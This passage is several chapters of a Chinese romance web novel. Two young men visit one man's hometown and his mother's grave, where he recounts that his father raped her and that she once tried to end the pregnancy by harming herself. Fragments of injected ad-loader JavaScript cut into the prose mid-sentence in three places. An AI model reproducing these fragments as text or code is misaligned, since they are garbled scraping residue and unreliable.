宁嘉靠在林纵腿上睡了半程,后半程林纵也躺了上来,两人躺在狭小的翻不过身的床上睡了很久。 忽然宁嘉突然惊醒,睁眼,垂死病中惊坐起,在床上摸来摸去,翻到手机,看了眼时间。 宁嘉:“......” 自从上次把林纵掐醒之后,宁嘉越来越放肆,单手抓着林纵的肩膀晃来晃去:“学长,你快醒醒,快醒醒,我们是不是坐过站了?” 林纵被宁嘉叫醒,没太大反应,悠悠道:“火车晚点了。” 宁嘉不是很相信的样子:“......真的吗?你怎么知道。” 林纵说:“我刚刚醒过一次,确认了,而且这趟车每年都会晚点,真赶时间的人也不会坐火车。” “好像也是这个道理。”宁嘉轻而易举被说服了,又问:“那我们还有多久到?” 林纵坐起来:“不确定,你很着急吗?” 宁嘉摸摸肚子,傻笑:“我饿了。” 两人对视一样,异口同声道:“吃泡面吗?” 火车上泡面管够,宁嘉伤了手不方便,林纵去买了两桶泡面,泡好,拿回来让宁嘉挑,把桌子搬到宁嘉面前,方便他吃面。 宁嘉吃着海鲜面,眼睛在林纵那碗红烧的瞟瞟,林纵看见了:“你吃这个?” 宁嘉摇摇头:“我这碗都吃过了。” 林纵却知道宁嘉说的不是这个,问:“你介意?” 林纵面不改色,坦然道:“亲了多少回了,这个时候介意是不是太晚了?” 宁嘉:“!!!” 宁嘉可恨自己伤了一只手,左手拿着叉子,没有右手可以捂林纵的嘴,索性低头装死,当听不见。 火车停在沧县所属的上级市,临近半夜,两人在手机上打了车,经历了一个半小时,终于奔波到目的地。 天仍然是黑的,宁嘉却能从夜色中观看到沧县的模样。 这和宁嘉想象中的老旧并不一样,它甚至繁华,高楼林立,路灯和顶灯交相辉映,沧县的夜晚星光璀璨。 出租车停在路口,宁嘉下车,周围是一排排整齐的落地房,往里头瞧,才看见破旧的双层老式矮屋。 根据林纵的形容,他小时候喝过很便宜的珍珠奶茶,出行坐火车,骑林俏俏攒钱给他买的小自行车,宁嘉猜测那个矮旧的年代感很足的房子就是林纵曾经住过的地方了。 “学长,你以前住哪里?”说话时宁嘉看向林纵,没有表现出任何歧视和怜悯的意思。 林纵表情古怪,好像没明白,指着他们面前的这一间房子:“这间七楼。” “好高。”宁嘉却松了一口气,还好,也不是很惨的生活,却突然想到什么,“那你买了这一间的七楼吗,房东愿意卖?” 这下林纵的眼神都纳闷:“我当然是买了这一整间房子。” 宁嘉:“???” “你说你当时多少岁来着。” 林纵:“十九,怎么了?” 宁嘉问:“这房子多少钱?” 林纵说:“一百多万吧,怎么了?” 宁嘉:“......你十九岁的时候买了一套一百多万的房子,全额付款?” 林纵问:“这很奇怪吗?。” 宁嘉怒了:“这不奇怪吗!!!” 71. 第 71 章 宁嘉见过大部分的落地房都是五层左右,林纵曾经住过的这间按照如今的说法算是违建了。 这是一排七间七层楼房组成的独栋,周围都是荒地,有一间药店和理发店,其余是正常住宅店面。 宁嘉左右看看,打量着:“学长,你们这栋楼好像特别得高。” 林纵说:“对,正常住房是五层左右,这里算是违建,但在十几年前是特立独行的存在,七楼高,正常人当仓库用的,我妈实在没有钱,房东就把仓库挪了位置,用最便宜的房租把房子租给我妈。” 在返回沧县的途中,林纵一直处于一种让宁嘉陌生的状态,他有些过分知无不言,情绪表达也很直接,他坐着绿皮火车,好像真到了十六年前,妈妈还在的时候,放肆又毫无顾忌。 宁嘉说:“那房东对你们还是挺好的。” “还可以,毕竟换做正常人完全可以不这么做。” “七层楼,每天上下很累吧。”看惯了高楼大厦,再看这样的房子其实真不算很高。 “危房,”林纵也抬头看,“有时候风大,会觉得楼在晃。” 宁嘉惊悚:“这也住得下去?” “这里快拆了,就这一栋,以及它周围的空地到时候会建一个商圈,面积正好合适。” 等等,这话题的转向似乎有点不对劲,宁嘉诧异地看向林纵。 林纵微笑:“所以我把这里买了下来,在前几年。” 宁嘉:“..................” “不好意思,我不理解。”林纵说的每个字,宁嘉都理解,组合在一起,他真的没听懂。 林纵淡淡道:“这一排,七间都是我的。” 宁嘉:“.................” “你要不要听听自己在说什么?” 林纵笑说:“也没有多少钱,加起来不到一千万,有钱人家的私生子虽然地位差了点,可是不穷的。” 宁嘉挥挥他吊着的胳膊:“我要打人了。” 林纵抱住宁嘉,在他耳畔说:“以前觉得这样的日子并不差,出去看过一圈后才知道我妈带着我过得有多辛苦,买这里确实没用多少钱,但买到的时候觉得很骄傲。” “小时候也会看叮当猫,长大后想妈妈的时候很想要有一台时光机,想回到过去,想去看看她。” “学长,你很厉害的。”宁嘉安慰他,“我一直以为你是个穷鬼,林平生每个月会给你几万零花钱这样。” 林纵:“?” 宁嘉絮絮叨叨:“还担心你在公司辞职了怎么办,感觉你那个小破公司恨不能赚钱的样子,都怕以后饭桌上没有肉吃。” 林纵:“......” “还好还好,”宁嘉抱着林纵,拍拍他的肩:“小县城穷是穷了点,这些房子写的都是你的名字不?” 宁嘉说:“不拆也没事,收收房租我们也不会没肉吃,当然哪天拆了更好,我就是拆一代了,对不?” 林纵情绪用尽:“我们去睡觉吧。” 宁嘉被他往反方向带,不太理解:“不住这吗?” 林纵说:“一年只来一次,房子里都是灰。” 宁嘉:“那你过来会上楼看看吗?” 林纵脚步顿了顿,回答:“最开始有些偏执,想要把那个地方复原成当年的样子。但是七年过去,那里又成了仓库,积满了灰,清理得再干净,也不像能住人的样子。” “主要是没有时光机。”宁嘉走到林纵面前,回头对他笑了一下,“那么久了,你也不记得小时候住的房子是什么了吧。” “对,”林纵也笑了起来,握着宁嘉的手,“所以我就不为难自己了,接受了我妈离开的事实,不再去找了。” 每年回来,林纵会在可以看到家的小旅馆住一晚上,第二天早起吃个早餐,再在路上逛逛,当天夜里离开沧县,坐车前往瑞镇。 “为什么?”宁嘉问,“可以赶上第二天的日出吗?” 林纵说:“沧县的夜宵很好吃。” 宁嘉:“......你真是,” 林纵笑了起来。 这天晚上,林纵带着宁嘉去了县里最好的酒店开房。 宁嘉有一种魔力,每天晚上犯困很早,但越晚不睡越兴奋,是有一点颠的,他们正准备离开前台,宁嘉声泪俱下:“姐夫,我们这样怎么对得起姐姐。” 林纵哪里经历过这个,连忙捂住宁嘉的嘴。 宁嘉右胳膊才抬起来,林纵就松了手,低声道:“别闹。” 宁嘉扬声道:“姐夫!可是我爱你啊!” 林纵:“......” 一进电梯,宁嘉就笑弯了腰,问林纵:“学长,好玩不?” 林纵无奈:“哪学来的这个?” 宁嘉和林纵站在一起,勾勾他的手指头,眼神里满是狡黠:“网上刷到的,看别人都这么玩。我一直想玩,都没有找到机会。” 林纵问:“今天圆梦了?” 宁嘉点头:“很满足。” 一整天的奔波,两人都很累了,洗漱完躺到大床上,身上骨头都快散架了,宁嘉往林纵身边蹭了蹭,闻着他身上和家里不一样的沐浴液的味道,很快就睡着了。 这一觉宁嘉睡到了第二天早上,醒来时林纵不在,宁嘉没看到人就打了电话。 林纵醒得早,不想睡,就下楼买早餐:“有什么想吃的吗?” 宁嘉人没醒,却下意识说:“珍珠奶茶。” 林纵笑了下:“知道了。” 宁嘉在床上磨蹭半天,刷刷手机又看看微信,许诗瑶的手术是今天,听说闻凯请了假,一整天都会陪着,江软那边也说要来陪。 许诗瑶的消息是条视频,才是早上,闻凯和江软就已经在吵架了,说着一些没有营养的在外人看来很好笑的事。 宁嘉这才放心下来,起床洗漱,从浴室里出来没多久,林纵也回来了,手上拎了乱七八糟一堆早餐。 宁嘉笑说:“这么多吃得完吗?” 林纵把东西提到桌上,一样样摆好:“这些都很好吃,想让你尝尝。” 他们平时吃的早餐中规中矩,因为在家里出门不方便,阿姨做的菜也偏清淡,吃不到甜咸辣都很明显的食物。 宁嘉最在意的还是珍珠奶茶,终于是和奶茶店的不一样,杯子不大,味道会更浓稠。 宁嘉吃着小笼包:“我也好想回家。” 林纵把蛋饼递给他:“小时候住在哪里?” 宁嘉说:“要更偏僻一点,比住的地方再远一点。” 林纵点头:“下次回去看看。” 宁嘉就是一个人不想去,在这一点上,他没有林纵勇敢,会觉得这样的往昔没有必要回忆,而他的童年也确实没有值得回忆的地方。 早餐吃完,两人一起出门逛了逛,沧县此时是晴天,太阳有些晒,但下午要更热一点。 在这方面宁嘉有些娇气,去路边商店买了把大伞,两人一起撑着伞,在阳光下散步。 林纵走得很慢,心境看着也平和,他像宁嘉曾经那样,到处走着,碰到有趣的事就会介绍起来。 两人走到一处落地房前,宁嘉发现了这个地方的建筑,还是以落地房为主。 一间平平无奇的房子,林纵介绍:“这里以前是幼儿园,小时候我在这里上学。” 宁嘉发现了:“这是居民楼。” “对,”两人接着往前走,林纵说,“二十年前了,当年的教育也不规范,学校在哪里,老师有没有证件,都没有讲究。” 宁嘉又问:“那你知道这个幼儿园现在在哪吗?” “嗯,我们现在刚好过去。” 林纵带着宁嘉拐了个弯,再直走一段路,很快就到了目的地,没有停留又接着往下走:“听说搬了好几次。” 宁嘉问:“听谁说?” 林纵无奈地看着他。 宁嘉笑起来:“我只是不能想象,你向别人问路的样子。” 短袖、长裤、背包,宁嘉想象着林纵每年回到故乡的样子,他像个大学生,大概会有些迷茫地走在多年未见有些陌生的道路上。 林纵说:“没有问,沧县很小,随便走走就能到,在这里随处逛,你什么都看得到。” 说话间他们走到一道年代久远的桥上,宁嘉转头去看,事实上没有特别不一样的地方。 往前,他们穿过成片的居民区,街道窄小,唯一宽阔的地方是小学门童,林纵介绍:“我在这里读了一年多。” 宁嘉蹦蹦跳跳,买了点校门口的小零食:“那时候是辍学了吗?” “我不知道,”宁嘉买了一堆东西,让林纵提着,“我妈什么都没和说,转学手续是林平生办的,就算 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我没有读过书,他也会把我塞到那个年纪我该去的年级。” 宁嘉了然:“糟老头子爱面子。” 沧县真的很小,没走几分钟又看到了老旧的商业街,其后不远处是嘈杂的菜市场。 像是在做任务,林纵和宁嘉分享完童年,在路边拦了辆车,坐车回酒店,宁嘉坐进带有冷气的车厢里,叹了一大口气:“舒服——” “天气还热。”林纵揩掉宁嘉额头的汗。 宁嘉转过头,林纵的动作突然因为两人的对视变得暧昧。 宁嘉咽了下口水,心说正人君子太难当了,眨眨眼缓了缓神:“学长,我们现在回去退房吗?” “不着急,”林纵收回手,目视前方,“晚上还要吃夜宵。” 宁嘉一时间哭笑不得,这真是个难以拒绝的理由。 宁嘉在酒店里睡了一整个下午,傍晚时分,提出请求:“学长,我们要去七楼看看吗?” 宁嘉问的是林纵曾经住过的地方,林纵问:“你想去?” 宁嘉反问:“你不想去?” 林纵摇头,这一次过来,他想开了很多,有些事或许没有那么煎熬,都说时间是良药,林纵忘不了,是因为从始至终没有和旁人分享过,于是他也没法放下。 林纵说:“不想去。” “好吧,”宁嘉一计不成,只好实话实说,“那我想看看。” 林纵转过头,看着宁嘉,那眼神沉重似有深意:“明年再让你看。” 宁嘉像是明白了什么,问:“明年我还能来吗?” 这次是林纵反问:“你不想来吗?” 宁嘉点头:“想,当然想。” “那就是了。” 两人出门吃了晚饭,因为无聊,竟然找到电影院进去看了部电影,宁嘉对他们回乡祭祖的行为表示质疑,哭笑不得:“哪有人这样玩的,学长你以前为了吃夜宵都怎么打发时间?” “睡觉,”林纵淡淡道,“那两天几乎都在睡觉,是我一年里最好睡得时候。” 没有人打扰,没有工作,林纵在自己的家乡里,内心无所顾忌。 晚上十点,夜宵摊上终于热闹起来,两人找了位置坐着,点菜、上菜,林纵还喝了点啤酒。 宁嘉只能喝椰汁,他支着下巴,笑眯眯地看着林纵,仿佛这世上最重要的东西就在眼前:“学长,妈妈以前带你来吃过排挡吗?” 林纵从来不提,也没人知道,他带着宁嘉回来,无论去到哪里,宁嘉都会问有关妈妈的问题,他不怕林纵伤心,不断引得林纵回忆。 “吃过一次,”啤酒在塑料杯里,被林纵一饮而尽,“点了水煮肉片,太辣了,最后打包回去,又重新做了一次。” 宁嘉想象着那个画面,竟然很好笑的样子:“你被辣哭了吗?” 林纵笑笑:“差不多吧,我和我妈都不吃辣,那个菜太为难我们了。” 宁嘉问:“那为什么要点?” 说到这,林纵也很无语:“因为那段时间流行吃这个,只觉得大家都吃过的东西,我们也要尝一尝。” 宁嘉:“......” 深夜,晚风清凉,长街上灯火通明,满街香气,宁嘉吃得心满意足,捧着肚皮艰难站起来:“好撑,好撑。” 他们回酒店退房,带着傍晚回来时买回来的燃香蜡烛上了前往瑞县的出租车。 宁嘉没喝酒,也像喝了酒的人一样絮叨:“天天打车,你知不知道,打车费很贵的。” 林纵酒后姿势慵懒,靠在座椅上,若无旁人地摸了摸宁嘉的头发。 “酒店不住就早点退嘛,浪费钱!” 出租车老哥从后视镜里看着两人,在心里琢磨他们的关系,不停絮叨的那个看着年纪不小,说话却和小孩似的,闹腾又让人喜欢。 宁嘉说着不知道为什么又翻起那天在火车上的旧账:“其实你当时升级个硬座就行了,干吗要买软座啊!” 林纵那眼神看着没多少攻击性,却不知为什么,宁嘉下意思抖了一哆嗦,听到他说:“你没睡?” 宁嘉怂怂地:“睡了的。” 司机老哥直接听乐了:“你们俩什么关系啊?弟弟这么怕哥哥呢?” “胡说!”宁嘉一副喝高了样子,恼道,“这我老公!” 于是林纵也笑了声。 司机老哥:“......” 72. 第 72 章 九月,清晨五点,天还没亮,这个时间点瑞县开门的只有早餐店,宁嘉总算知道,林纵昨天下午让他多睡的原因了。 一晚上没睡,宁嘉有一点困。 出租司机不敢开车到墓园,他们在半路下车,在路上逛了逛。 林纵来的不是时候,花店没有开门,宁嘉想给他婆婆买一束花都不行。 两人手牵手走在路上,街灯昏暗,林纵的声音也有些轻:“妈妈说她这辈子都没收到过花。” 宁嘉带着林纵的手晃啊晃,问:“你没送给她吗?” 林纵说:“后来有。” 宁嘉问:“什么时候?” “她躺在病床上的时候,林平生给的钱。” 林纵年纪小,想做的事情有心无力,最后只能求助林平生。 一时间宁嘉不知道该说什么。 林纵淡淡道:“没事。” 都是很久以前的事了。 宁嘉捉着林纵的手递到嘴边亲亲,动作有些不自然,只好自然着说话:“如果有个比惨大会,我们两个,谁会更胜一筹?” 林纵:“......” 一个小时后,林纵和宁嘉爬上了半山腰,天已经亮了,阳光斜照着墓碑,林纵拿着湿巾在擦,宁嘉站在一旁有些拘束。 林纵点燃了燃香和蜡烛,在墓前的空地上烧了些纸钱,燃尽,带着宁嘉一起跪下来:“妈,这是宁嘉。” 宁嘉乖乖地说:“妈妈好,我是宁嘉。” 紧接着两人叩拜,一阵晨风吹过,吹落了燃香上的香灰。 二十五年前,林平生第一次见到林俏俏,是在瑞县一条很平常的街道上。 林俏俏十二岁那年丧父丧母,保险补偿金被姑姑一家拿走,这家人也顺便承担了林俏俏的生活起居。 林平生见到林俏俏的那一年,林俏俏才十八岁,她本来就长得漂亮,花一样的年纪走在路上吸引了无数男人的目光。 林平生也不例外地林悄悄一见钟情,这是个他想要得到的女人。 林家助理找到姑姑一家,告知林平生的用意,他想用一笔钱换林俏俏这个人,说包养或是其他都好,他只是无法娶她。 姑姑一家重男轻女,当年拿了兄长夫妻意外死亡的补偿金,不到一个月的时间就对她的侄女感到厌烦。 姑姑想,因为她足够有良心,就算心里再厌恶,还是照顾了侄女这么多年,于是功夫不负有心人,这笔钱她拿得理所应当。 当晚,林俏俏像块不值钱的废品,被姑姑扔到了林平生所住的酒店。 林俏俏不知道发生了什么,姑姑让她过来说有工作要做,陌生的房间里坐着一个完全陌生的男人。 林俏俏犹豫的害怕地问:“你好,需要我做什么。” 林平生点了一支烟,心情很好,却面色不显:“脱衣服。” 林俏俏知道的,姑姑一家并不喜欢她,可就算这样也是姑侄亲情,她太自信了,觉得姑姑不会对她做出不好的事。 那一晚到底发生了什么,林俏俏只用很简短的语言概括:“我求他了,我说我不想这样,他不答应,他强迫了我。” 林平生□□了林俏俏,按住她细瘦的胳膊,不让她挣扎,他在暴力拆开林俏俏,像在随意对待一个随时可以被丢弃的玩具。 林平生在沧县没有待很久,走之前想要带走林俏俏,林俏俏却逃走了,他赶着要走,没空找人,久而久之就忘记这个人了。 当天,林俏俏离开瑞县,她拿着林平生放在抽屉里的钱在车站买了最早一班车,她不知道目的地在哪里,她也无所谓。 宁嘉听懂了:“是沧县?” 林纵点了点头:“她本来想死,觉得不甘心,又想要活。后来她发现自己怀孕了,她又想我死。” 下山路上,宁嘉听完一阵腿软被林纵扶住了,冷淡道:“她打自己的肚子,从楼梯上摔下去,因为没有钱做手术,就想用这种方式杀了我。” 可林纵好像命不该绝,无论林俏俏做了什么,林纵还是在她肚子里好好长大。 后来林俏俏就想开了,没觉得这是林平生的孽种,只认为是上头的馈赠,这是她在这个世上唯一的亲人。 十八岁的林俏俏一边打工一边生活,她远在沧县,不知有没有人曾经认出过她,但姑姑一家人从来没有找过她。 林纵出生后,林俏俏更加努力的生活,上班下班无论做什么事都会带着他保护他,她爱他珍惜他,他们相依为命着。 那几年的时间对林俏俏来说,是最快乐的,忙碌一天回到家不需要遭人白眼,看到林纵的每一秒都觉得异常幸福,这是她的小孩。 林俏俏想要把所有的最好的东西都给林纵,想看他长大,做他觉得快乐的事情。 “妈妈说,她不会干涉我的任何决定,就像我的名字一样,希望我纵情自由,无拘无束。” 可林俏俏却病了,突然晕倒,因为没钱检查,所以难受从来都是忍着,送到医院却被告知是癌症晚期。 林俏俏要死了,八岁的林纵回顾她这一生,发现她从来没有真正过过好日子。 最后的时刻,林悄悄坐着绿皮火车,颠簸了那么长时间只为把林纵送到林平生面前,她甚至求他,求这个当年强迫过她的男人,求求他照顾她的儿子。 林纵面无表情,仿佛在讲述别人的故事:“她那个时候要死了,尊严什么都不重要,她在林平生的办公室里,跪下来求他,求他养我。” 宁嘉有一种要窒息的感觉,林纵轻描淡写的几个字化为柔纱,温柔又不留余地地掐住了他的脖子。 林纵安抚地拍了拍宁嘉的肩:“你知道林平生和林夫人为什么会分开住吗?” 林纵自问自答:“那件事瞒不住有心人,林夫人知道了一部分真相,只以为是她的丈夫给她带了绿帽子,而那个可怜的不知情的女人要死了。” “林夫人见过我妈,是她把我妈送到医院过最后的那段日子。林平生是之后才去看她的,那时候林夫人已经搬走了。” 林夫人不一定知道自己男人的本性,但她是女人,她同情女人,她把林俏俏当成一个很可怜的要死的女人,所以她同情她,雇人照顾她,给了她最后的体面。 “林少知道当年发生的事,他觉得是我把林夫人逼走的,仔细想想确实也是这样,这些年林少对我做的这些事,站在他的角度,一点都不过分。” 有些话,是林纵在成长过程中林俏俏告诉他的,她希望自己的儿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子长大以后会变成一个很好的人;还有一些话是林平生在收养林纵后说的,他希望这个私生子可以听话,识相,懂得他的好。 所以林纵一个字都没有忘,他都记得。 林纵总说自己不一样,闻凯从来不明白他哪里不一样,直到今天这一刻,宁嘉才明白为什么。 这些年里,这些话,林纵没有告诉过任何一个人,因为没有意义,没人理解,他从来没有遇到过想要倾诉当年的对象。 那段记忆,那段独属于林纵和妈妈的过往,只活在林纵一个人的过去里,这些年林纵冷淡,淡漠,无所顾忌,他没有爱人的能力,守着他和林俏俏的曾经苟活于世,因为林俏俏想要让他活着。 宁嘉却在咬牙切齿,龇牙咧嘴:“话不能这么说,林少就是无耻、可恶,林平生更是下流、不要脸,如果法律允许,我要把他们都杀掉!杀掉!” 朝阳落撒在脸上,林纵面对阳光笑起来,从未有过的轻松:“但是法律犯法,杀人你也会怕。” 宁嘉拳头硬邦邦:“那你说怎么办!” 林纵像是重获了新生,深吸一口气,再吐掉,这个世界原来这般美好:“离开林家,离开他们,像妈妈希望的那样,我想要自由,想要快乐,想要和你在一起。” “哦,”宁嘉左手捂住脸,“许愿的时候怎么能让本人知道,怪不好意思的。” 林纵终于像个疯子,带着宁嘉向山下跑,宁嘉吓得大叫,又刺激得不得了:“学长,学长,慢点,慢点,我跑不动了,我饿了!” 宁嘉边跑边想,林纵一定很爱他,连这些事都告诉他,又不太甘心,气喘吁吁地问:“闻凯知道吗?” 林纵:“什么?” 宁嘉问:“这些事。” 林纵莫名其妙:“告诉他干吗?” 宁嘉边跑边乐,嘿嘿笑:“哦,不告诉他最好。” 折腾了一晚上,肚子又饿了,两人打包了早餐,一人手上拿着一瓶珍珠奶茶在喝,宁嘉忽然想到,瑞县是林俏俏的故乡,那么那个可恶的姑姑一家,可能还住在这里:“姑婆一家过得怎么样了?” 宁嘉一点都不想叫这些王八蛋独属于长辈的称呼,但是没办法,他也不知道那些姓林的叫哪个。 林纵拿了包子喂宁嘉一口:“很惨。” 宁嘉:“?” 林纵平静地说:“妈妈去世前给她打过电话,说做鬼也不会放过她。” 宁嘉:“......” 姑姑一家做贼心虚,竟然真因为林俏俏一句话变得疑神疑鬼,诸事不顺,经常做噩梦,在得知林俏俏的墓被迁回来后,更是每年大年初一,清明节,还有祭日前几天都来祭拜林俏俏。 所以林俏俏的墓前很干净,只是心虚的人没法照顾的那么细,墓碑总还是脏的。 “来看过妈妈之后,她做噩梦的情况才有所好转。” 姑姑快被林俏俏死前那句话逼疯了,每年把这些日子记得比各个节假日还要清楚。 “活该!”宁嘉咽下包子气鼓鼓地骂人。 都是些很早之前的事了,林纵没有放下,但也没有多在意这些事情,摸了摸宁嘉的头发:“嗯,回家了。” 宁嘉便又笑起来:“嗯!” 73. 第 73 章 许诗瑶手术成功,在医院听了两天的相声。 江软和闻凯天生磁场不合,谁看谁都不顺眼,一见面就吵。 闻凯嫌江软矫情,江软嫌闻凯风流,两人陪在许诗瑶的左右两侧,干瞪着眼,一说话就开始看对方不顺眼。 许诗瑶不想住单人病房,嫌冷清,病房里还有其他病人,顺便也看了场热闹,笑道:“家里小孩多就是热闹。” 在许诗瑶的描述里,江软是她亲儿子,闻凯是她干儿子,闻言又笑说:“还有一个儿子呢,出门去了还没有回来。” 闻凯和江软昨天夜里也在,两人一直没走,反而把找来的护工弄得没地方睡觉。 这会儿两人实在困,吵不动了,眼睛瞪了一会儿,趴在病床边趴着睡了。 病友便说:“做手术这么重要的事怎么也不陪着你啊?” 许诗瑶说:“见他丈母娘去啦。” 病友:“丈母娘还比亲妈重要啊?” 许诗瑶:“他丈母娘忌日呢,还是得去看看的,新婚呀。” 啊这,病友词穷了,这样性质可就变了,活人哪有死人重要。 正说着,病房门被推开,宁嘉走进来,身后跟着林纵,许诗瑶眼前一亮:“嘉嘉,小纵,你们回来啦?” 许诗瑶刚做完手术,面色却不显得苍白,躺在病床上,笑容满面,宁嘉的心情也很好,开起了林纵的玩笑:“啊,我和小纵回来啦。” 病友看向宁嘉,问:“这是你儿子啊?” 人在生病的时候最觉得脆弱,从前不觉得,如今许诗瑶才发现自己有多想宁嘉,笑起来:“这两个都是我的儿子。” 病友迷糊了:“你儿子这么多,哪个刚见了丈母娘啊?” 宁嘉更迷糊:“谁,谁见了丈母娘?” 江软听到宁嘉声音的时候就醒了,接了句:“你啊。” 闻凯闷着头笑出了声。 宁嘉摸摸脑袋:“话不能这么说,我是去见我婆婆的。” 这下闻凯和江软一起笑抖了,只有许诗瑶和病友迷糊着:“啊?” 宁嘉好整以暇地介绍,手掌摊开向外,指着林纵:“这是我老公。” 病友:“......” 许诗瑶突然脸红:“嘉嘉......” 宁嘉煞有介事地介绍:“妈,你不懂,这个婆婆还是丈母娘,在我们GAY圈还是有点讲究的。” 许诗瑶捂着胸口。 宁嘉拧着眉,琢磨要怎么解释:“就是这玩意吧,它也是分那什么的。” 许诗瑶:“......” 宁嘉悠悠道:“就是我学长吧,他看着就是不像那什么。” 江软和闻凯笑得前仰后翻,宁嘉视若无睹:“这个东西吧,我们得具体问题具体分析,说假话是行不通的呀。” “不是,嘉嘉......”许诗瑶终于听懂了,整个人都不好了,“你也不用说这么具体的。” 江软:“哈哈哈哈哈哈哈。” 闻凯:“哈哈哈哈哈哈嗝。” 从始至终,林纵像一尊雕像,站在宁嘉边上一言不发,只是眉眼上始终带着散不去的笑意。 闻凯看在眼里,想必这两人回家一趟很是顺利,林纵似乎是变了,闻凯说不出来,却觉得林纵身上的某种常年挥散不去阴郁气质好像消失了。 宁嘉耸了耸肩:“没办法嘛,我太爱我学长了,这样的误会不可以有的。” 闻凯看向林纵,林纵这小子竟然他妈的对他笑了下,闻凯顿时觉得见了鬼,撇开了视线。 林纵:“......” 许诗瑶决定转病房,江软在路上问起来:“怎么突然这么大方?” 宁嘉偷偷摸摸说:“没办法,我老公太有钱了。” 宁嘉的不要脸程度在这段时间内得到了升华,从前没事找事才喊老公,现在人前人后都这么喊,江软服了:“你追人追到手了?” 宁嘉摇摇头:“还没有。” 江软:“那你说屁!” 宁嘉:“那我确信,他一定爱我!” 江软恨铁不成钢:“那您说说您的科学依据呢。” “说不得说不得,”宁嘉自从回来后,心情一直持续高涨着,他说,“但是我学长可以告诉你我学长很有钱。” 江软没眼看:“多有钱?” 宁嘉比划着左手到右手:“这么这么有钱。” vip病房是单人间,环境相对良好,换病房是林纵的意思,他也想为宁嘉的妈妈做些什么。 这一次宁嘉没有反对,钱嘛,林纵又不是没有,林纵可有钱了。 几人坐定,宁嘉先问,看向许诗瑶:“吴华这两天还找你吗?” 吴良仁一死,许诗瑶变得坦诚起来,她在这个世上最重要的又只剩下宁嘉一个人了:“打过电话,听说也来了病房几次,小凯没让他进。” “小凯?”宁嘉难以置信地问。 闻凯揽着许诗瑶的肩膀,笑得亲密无间:“这是我干妈。” 宁嘉:“......这两天发生了什么?” 许诗瑶的脸上是幸福却又平静的笑容:“我现在有四个儿子啦。” 闻凯的生母拥有自己的新家庭后做出的选择是和亲生儿子断绝母子关系,闻凯说的是实话,他很想妈妈,也很想要妈妈。 理智下的许诗瑶身上拥有着一个母亲最合格的优点,两人只是说了几次话,这干母子关系就这么成了。 “行,”宁嘉已经不想说话了,嫂子变弟弟,他又自闭了,“小凯,你说吧。” 闻凯:“昨天和今天都有来,看着有些疯疯癫癫的,估计也是被逼得差不多了。” 前吴夫人和吴晓也没办法随时管着他,家族事业需要有人负责,她们都不想负这个责。 宁嘉问:“他怎么了?” 江软也是莫名其妙,好好的一个人怎么疯的? 这件事大概只有闻凯和林纵懂:“董事会逼的,吴华想要有公司百分之五十一的股份,成为大股东,守下吴良仁的产业。” “他办不到吗?”江软对这些事一窍不通。 闻凯说:“董事会的人搞他,出高价,树倒猢狲散,他们在吴良仁手下一直不满意。” “现在是什么情况?”宁嘉似懂非懂。 闻凯看向林纵,林纵点头,他才说:“吴华确实缺钱,所有的流动资金都用上了,听说也和亲戚朋友借了,还是不够。” Vip病房外,有人在哐哐砸门,吴华的声音传进来:“许阿姨,你在不在,许阿姨,我知道你在里面。” 江软偏头看去,见鬼似的:“我怎么感觉他今天温柔了不少?” 闻凯也说:“确实有,大概知道能说话的回来了吧。” 宁嘉看向许诗瑶,见她表情有几分意料之内的松动,宁嘉回头看林纵,林纵懂了,去开门。 吴华走进来,病房里五双眼睛直勾勾地看着他,当即一个跪滑:“许阿姨,你救救我吧。” 四人:“......” 许诗瑶的眼神里没有幸灾乐祸,只有同情:“你以前从来没这么叫过我,小华,你一直都很不喜欢我吧。” 这方面吴华倒是诚实,没有说些哄骗人的话,他看着许诗瑶,支 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 支吾吾不敢开口。 许诗瑶说:“我知道你不想见我,也不喜欢我,不想你爸爸和我在一起,总觉得我在贪图你们家的东西。” “我没有......”吴华还是下意识说。 “你有,”许诗瑶强调道,“我没钱,也没工作,你爸爸养着我,给我房子住,你不高兴。” 宁嘉突然在心里想,这么一听他妈妈真像个绣花枕头,除了好看一无是处,这样的人如果不是他妈妈,可能他也不会很喜欢。 宁嘉太慕强了,只有林纵这样,在生活中各方各面都很优秀的人才会随时随地像块磁铁一样不断吸引他。 吴华便不说话了。 许诗瑶说:“小华,其实我真的想过要把你当亲生儿子看待的。” 吴华这段时间的神经一直紧绷着,不太聪明,有些过度紧张了,脑子也不好使,张嘴就来:“那你自己的亲儿子呢?” 四人再次:“......” 许诗瑶看过去,宁嘉身后站着林纵,这两人在如今的情况下意料之外的般配,可许诗瑶还是做错事了,她知道的:“我对不起嘉嘉。” “你爸爸说你有女朋友了,所以你不可以去联姻,可是我知道的,你们家想要联姻为什么要让我的儿子去,我只是想,万一呢,万一你爸爸和我结婚了,那嘉嘉也是你们家里的孩子,那也是可以的。” 江软终于找到机会说话了:“阿姨,这件事上你真的很过分,你根本不在意宁嘉的死活,只管你自己,如果宁嘉遇到的不是林纵呢,你以为林少是什么好人?” 江软连玩笑时的“妈妈”都不喊了,显然要把这件事情掰扯清楚了再原谅许诗瑶。 闻凯在这时也说:“你大概不懂,让宁嘉和男人在一起,他不止心里会受委屈,身体也会。干妈,你太自私了。” 在这场对话里,只有林纵和宁嘉没有发声,宁嘉早就过了最开始怨天尤人的阶段,他接受了,因为和林纵的关系也喜欢如今的现状,林纵则是个受益者。 “是我太天真了,”许诗瑶说,“我以为这世上的事都是这么简单的,理所应当,我以为只要良仁和我在一起,这一切都会解决的。” 在四十岁的许诗瑶眼里,爱情仍然是美好的可以向往的,她憧憬着渴望拥有,她想要得到这一切。 可许诗瑶从始至终想要解决的都是自己的事,她知道的太晚了,反省也没有意义。 病房里没人再说话,许诗瑶捂着胸口静了静,轻声问:“小华,你想要钱是吗?” 吴华跪步过去,握着许诗瑶的手:“要,我想要。” 这一刻,他们突然明白了许诗瑶想说什么。 “阿姨!”江软当即阻止。 闻凯和林纵没说话,许诗瑶看向宁嘉,宁嘉点了点头,他曾经做过中彩票的梦,但从来想过真的要拿不属于他的钱,吴良仁留给许诗瑶的房子,可能是他从未说出口的不值一提的爱,要不要留下,却是许诗瑶一个人的事。 